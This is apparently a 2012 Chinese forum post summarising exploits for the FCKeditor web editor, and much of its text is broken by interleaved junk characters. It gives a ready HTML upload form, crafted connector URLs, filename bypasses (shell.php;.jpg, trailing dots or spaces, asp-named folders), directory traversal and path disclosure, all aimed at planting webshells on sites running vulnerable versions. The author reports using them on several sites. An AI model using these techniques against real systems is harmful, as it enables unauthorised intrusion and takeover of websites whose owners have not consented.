Fckeditor漏洞利用总结
6 d l8 R$ N' |2 O z2 q- N查看编辑器版本- ?+ i2 q0 T5 i8 k
FCKeditor/_whatsnew.html* ^2 o, ^9 y( _9 y- a
—————————————————————————————————————————————————————————————
% c( x" f( S# B" @- W; f; p7 O! @& Y9 d: Z( g5 T
2. Version 2.2 版本% @" O. V, c9 q1 l
Apache+linux 环境下在上传文件后面加个.突破！测试通过。8 ?; b$ [0 _; E( E" G
—————————————————————————————————————————————————————————————/ v# a) k/ A) L" P
. D, t' C- f- v, a) U0 P3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。; K4 a9 J/ `# ^- W! A" b
<form id="frmUpload" enctype="multipart/form-data"
' ?/ r6 Z$ o( p( Y& x; @action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>& {# P- e+ W6 F' J1 e7 H
<input type="file" name="NewFile" size="50"><br>
$ |7 l% K z( Z8 A9 R! f<input id="btnUpload" type="submit" value="Upload">6 ~: X0 d" A- r( F' U/ C7 y$ H
</form>
N$ J' g l' H; e6 p/ f—————————————————————————————————————————————————————————————6 r, U( n. T4 v2 o! H, a" G5 I
3 B1 \) ~4 |/ Q" M! z" E4 n6 h% l4.FCKeditor 文件上传“.”变“_”下划线的绕过方法 }0 {. f3 o( ?- l. ?
很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。: |0 q# k+ K# ?
4.1：提交shell.php+空格绕过
" y6 |4 C+ c: {/ e不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
# p I1 v; t1 G. J1 \# Y 4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。
" ?' T/ t. q7 N5 O% l# j# J0 [—————————————————————————————————————————————————————————————
2 J0 L; Z; ~$ W: O( D0 Y2 Y4 y1 ~: B, I9 F' l+ v7 ]7 m' `) @
5. 突破建立文件夹
1 H1 z- I5 W: w2 I, T7 T8 r. I3 i) xFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
9 \$ g- f, O/ E8 k7 r4 r* @( XFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp4 y+ _7 G! \, g) a; H
—————————————————————————————————————————————————————————————1 Y, g) l# Q% z; W) `$ W
4 h0 u7 ]) r9 o* H6. FCKeditor 中test 文件的上传地址
% J- S% `9 h* z$ KFCKeditor/editor/filemanager/browser/default/connectors/test.html
$ x6 M/ g! G4 K1 fFCKeditor/editor/filemanager/upload/test.html
, z7 F+ q3 W. w5 uFCKeditor/editor/filemanager/connectors/test.html
/ F) n+ l. ^4 u2 g6 B- E; zFCKeditor/editor/filemanager/connectors/uploadtest.html
/ E& O2 O8 T1 X# ^2 N4 P# ^- X2 N+ H—————————————————————————————————————————————————————————————" n* \% w/ R1 G% O& n
3 g) H& D8 r2 i
7.常用上传地址/ Q |: Z* ^. C
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/) j& z; r/ e( [: `& ?. W
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
5 Y+ E+ B3 }% i8 a4 h9 pFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)8 ?3 a4 S+ l+ \5 f
JSP 版：0 B5 i6 L$ m0 G6 K
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
( d0 T$ V9 u( C3 w3 P" ^* R+ W, m注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文2 `" p' {+ q/ _/ F/ k$ U
件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。8 ^0 h2 ^ w7 }3 i
—————————————————————————————————————————————————————————————
3 C3 f5 W( e8 {* i8 e9 ^! s! g/ {2 [4 J/ l4 L# S1 h. G3 k
8.其他上传地址
! Q4 t2 g$ [/ X6 q- P& J) p# f: g& vFCKeditor/_samples/default.html
& g. s- n9 E! _FCKeditor/_samples/asp/sample01.asp
- q a$ x1 J/ n( l7 qFCKeditor/_samples/asp/sample02.asp& ] o. `- S2 O$ S
FCKeditor/_samples/asp/sample03.asp2 v7 U4 J7 f- g$ S. D, X. |
FCKeditor/_samples/asp/sample04.asp# ?! \/ _# {" c- k
一般很多站点都已删除_samples 目录，可以试试。
3 `) K/ b* W2 x- u2 S% X3 kFCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。( m" I* N! t5 b% P' P( Q
—————————————————————————————————————————————————————————————
6 }, Y/ v+ e( {! K/ c3 S# q4 @1 a) v0 z) K* y
9.列目录漏洞也可助找上传地址
, c& k4 K6 m9 @+ E. ^# \( rVersion 2.4.1 测试通过
+ v5 S( t" m( C, r修改CurrentFolder 参数使用 ../../来进入不同的目录
6 n/ ]7 i1 `! o6 `$ d' ^; U/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
7 }) y8 Z8 u0 T0 T! z根据返回的XML 信息可以查看网站所有的目录。
$ r/ J& m/ P0 S# mFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F* P, L/ e+ }0 a& p
也可以直接浏览盘符：
. b. F8 I) x! Y2 WJSP 版本：: P3 H+ Z! q4 w, `3 X9 M6 m
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F4 M9 r4 w- i/ v, O. P% L5 P6 {
—————————————————————————————————————————————————————————————6 K: [( n2 I! _; x" q6 q e& C- {
6 H8 x Q3 r+ I, b3 [/ V! }. }
10.爆路径漏洞3 f; N4 l' Z/ R
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp" M( O2 {+ G% M/ d) [ p
—————————————————————————————————————————————————————————————. _1 ~) o9 S- |
, q4 x- \ F& i1 T1 B
11. FCKeditor 被动限制策略所导致的过滤不严问题
% f9 ~. Z. `1 b; T6 X5 y4 i5 j 影响版本: FCKeditor x.x <= FCKeditor v2.4.39 W1 l' j* H4 b& o1 R1 y
脆弱描述：( y* w/ S) H. X9 _
FCKeditor v2.4.3 中File 类别默认拒绝上传类型：
& d/ j" A6 k& i& j3 q( F+ ^+ Qhtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm2 k3 J" c1 o$ t/ I" W' u- j% g
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
7 F, p9 l; T& R4 V 而在apache 下，因为"Apache 文件名解析缺陷漏洞"也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。
# v1 \4 ?6 V) q 在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
K% |) S* P* G! n B; Z—————————————————————————————————————————————————————————————
4 b: V/ r" X o* G. a: A
/ X, M6 H4 w. q5 y' Y# Y12.最古老的漏洞，Type文件没有限制！
. _! H& S0 J" ^; `/ V6 I1 \, G 我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！
6 ` n, C; g( E! Z! l3 [—————————————————————————————————————————————————————————————; |( D+ w3 Q9 p8 _9 F4 z
, E* V) H6 n9 N7 O/ F; t
===============================================================================================================================================
0 A. y) \, y# Y( w% i, b f; E& ?" q) D- V5 t
FCK编辑器jsp版本漏洞：
$ g. d D; d5 S* W& T/ E) i; v3 l) M7 }% z. h
8 u8 Y q# z% e
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
6 c# _0 j& p# |* u; k+ o
1 V: B2 g% k8 J* I: M% [上传马所在目录
. }* k, f! n8 O& X7 EFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
+ y3 }) C. V- P0 Z+ _' T上传shell的地址:6 V) h% p$ \' o4 M& w( L8 f
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
7 o: J& K& T2 ^8 }0 T( E0 a# p跟版本有关系.并不是百分百成功. 测试成功几个站.
. ^9 s1 H6 D" ~% X% S( E' r, ~+ I不能通杀.很遗憾.
6 y$ ^6 T2 [( T# ^5 V( }http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
3 _% Y; j) y& o9 J如果以上地址不行可以试试/ p+ w8 M' C4 i% J6 r! |5 F/ J
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector* J! K4 E9 m- d4 B% Y i
FCKeditor/_samples/
8 m5 }- A- c( u' CFCKeditor/_samples/default.html. _, `$ Q3 a# T; t! B8 ]
FCKeditor/editor/fckeditor.htm
$ F# E$ m+ ^% z" @7 @FCKeditor/editor/fckdialog.html; p) _8 W3 ^; F
9 o: K. Q& f" H6 B* X2 h7 M$ b% y" V" g
2 _# u$ A1 _. O% U E6 u6 W
解析漏洞+未重命名文件时上传漏洞 1.asp;jpg7 Q1 w3 I# w+ t1 }
|
发表于 2012-9-13 17:01:39
收藏
支持
反对